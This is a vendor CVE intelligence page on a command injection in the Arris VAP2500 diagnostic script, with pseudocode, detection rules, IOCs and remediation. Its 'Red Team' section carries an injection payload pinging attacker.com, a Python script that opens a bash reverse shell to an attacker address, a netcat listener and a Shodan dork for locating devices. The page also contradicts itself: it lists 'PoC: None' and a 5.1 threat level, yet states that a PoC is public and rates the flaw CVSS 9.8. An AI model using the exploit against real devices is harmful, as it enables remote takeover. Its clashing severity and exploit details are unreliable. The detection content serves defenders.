☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-5195

CVE-2024-5195 Command Injection in Arris
📅 PUBLISHED: 2024-05-22 11:00 UTC 🔄 UPDATED: 2026-08-18 17:15 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 4.16%
👁️
4.16% probability
104.1× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-5195 is a critical unauthenticated command injection vulnerability in the Arris VAP2500 wireless access point (firmware version 08.50). The flaw resides in the /diag_s.php script, where the customer_info parameter is improperly sanitized, allowing an attacker to inject arbitrary operating system commands. The vulnerability is remotely exploitable without authentication, and a proof-of-concept (PoC) exploit has been publicly disclosed. Given the vendor's unpatched status and the device's typical deployment in sensitive environments (e.g., ISP-provided CPE), this poses a severe risk of full device compromise, network pivoting, and data exfiltration.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded device. However, the device is often part of an ISP's supply chain, meaning compromised units can be used as a beachhead into customer networks.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – The vulnerable component is the only affected asset.
  • Confidentiality Impact: High (C:H) – Full file system read access.
  • Integrity Impact: High (I:H) – Full write access to device.
  • Availability Impact: High (A:H) – Device can be bricked or used in DDoS.

Threat Level: Critical. Public exploit availability and lack of patch make this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic command injection in the diag_s.php script. The customer_info parameter is likely passed to a shell command (e.g., ping, traceroute, or nslookup) without proper sanitization. By injecting shell metacharacters (e.g., ;, |, &&), an attacker can execute arbitrary commands as the root user (typical for embedded Linux devices).

Root Cause: The application fails to escape or validate user input before concatenating it into a system command string.

Attack Flow:

  1. Attacker sends a crafted HTTP POST request to /diag_s.php with customer_info containing a command injection payload.
  2. The web server executes the injected command with root privileges.
  3. Attacker gains a reverse shell, installs malware, or exfiltrates data.

Example Payload:

POST /diag_s.php HTTP/1.1
Host: <target_ip>
Content-Type: application/x-www-form-urlencoded

customer_info=;id;ping -c 5 attacker.com;

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern.

Vulnerable Code (PHP-like pseudocode):

<?php
$customer_info = $_POST['customer_info'];
$command = "ping -c 1 " . $customer_info;
$output = shell_exec($command);
echo $output;
?>

Patched Code (Hypothetical):

<?php
$customer_info = $_POST['customer_info'];
// Sanitize input: allow only alphanumeric and specific characters
if (preg_match('/^[a-zA-Z0-9._-]+$/', $customer_info)) {
    $command = "ping -c 1 " . escapeshellarg($customer_info);
    $output = shell_exec($command);
    echo $output;
} else {
    echo "Invalid input.";
}
?>

The patched version uses escapeshellarg() to safely quote the input and validates the input against a whitelist.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target: Arris VAP2500 with firmware 08.50.
  • Network access to the device's web interface (typically port 80/443).

Exploit Steps:

  1. Identify target using Shodan dork: http.title:"VAP2500".
  2. Send a crafted POST request to /diag_s.php with a reverse shell payload.

Example Exploit (Python):

import requests

target = "http://<target_ip>"
payload = ";bash -i >& /dev/tcp/attacker_ip/4444 0>&1;"
data = {"customer_info": payload}

try:
    r = requests.post(target + "/diag_s.php", data=data, timeout=5)
    print("Exploit sent. Check your listener.")
except Exception as e:
    print(f"Error: {e}")

Listener Setup:

nc -lvnp 4444

Blue Team

Detection & Response:

  • Monitor for POST requests to /diag_s.php with unusual customer_info parameters (e.g., containing ;, |, &, $).
  • Deploy WAF rules to block command injection patterns.
  • Isolate affected devices immediately.
  • Collect memory and disk images for forensic analysis.

Honeypot Deployment:

  • Set up a fake VAP2500 endpoint that logs all POST data to /diag_s.php.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP POST requests to /diag_s.php with customer_info containing shell metacharacters.
  • Outbound connections from the device to unusual IPs/ports (e.g., 4444/tcp).
  • DNS queries to domains associated with C2 infrastructure.

Host IOCs:

  • Unauthorized processes (e.g., /bin/bash, /bin/sh spawned by httpd).
  • Modified system binaries (e.g., /sbin/init, /usr/sbin/httpd).
  • New files in /tmp or /var/tmp (e.g., mips binaries, scripts).
  • Changes to /etc/passwd or /etc/shadow.

File IOCs:

  • /tmp/.systemd (common persistence name)
  • /var/run/udev.pid (malicious process)

Detection Engineering

YARA Rule

rule CVE_2024_5195_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Arris VAP2500 /diag_s.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5195"
    strings:
        $injection1 = /customer_info=.*[;&|`$]/
        $injection2 = /customer_info=.*\|\|/
        $injection3 = /customer_info=.*&&/
        $path = "/diag_s.php"
    condition:
        $path and any of ($injection*)
}

Sigma Rule

title: CVE-2024-5195 Command Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to /diag_s.php with command injection patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/diag_s.php'
        cs-uri-query|contains: 
            - 'customer_info=;'
            - 'customer_info=|'
            - 'customer_info=&'
            - 'customer_info=`'
    condition: selection
falsepositives:
    - Legitimate diagnostic tools using special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5195 Arris VAP2500 Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/diag_s.php"; http_uri; content:"customer_info"; http_client_body; pcre:"/customer_info=[^&]*(?:[;&|`$]|&&|\|\|)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected devices: Place VAP2500 units on a separate VLAN with strict egress filtering.
  2. Disable remote management: If not required, block WAN access to the web interface.
  3. Apply virtual patching: Use a WAF (e.g., ModSecurity) to block the /diag_s.php endpoint or filter malicious input.
  4. Monitor for exploitation: Deploy the provided detection rules.

Long-term Actions:

  1. Vendor contact: Pressure Arris for an official firmware patch.
  2. Device replacement: Migrate to supported, patched hardware.
  3. Network segmentation: Ensure IoT/CPE devices are isolated from critical assets.

Workaround (if patching is impossible):

  • Remove or rename the diag_s.php file on the device (if you have root access).
  • Block HTTP POST requests to /diag_s.php at the network perimeter.

Valters IT
DevSecOps & Cyber Threat Intelligence Division

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-5195/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.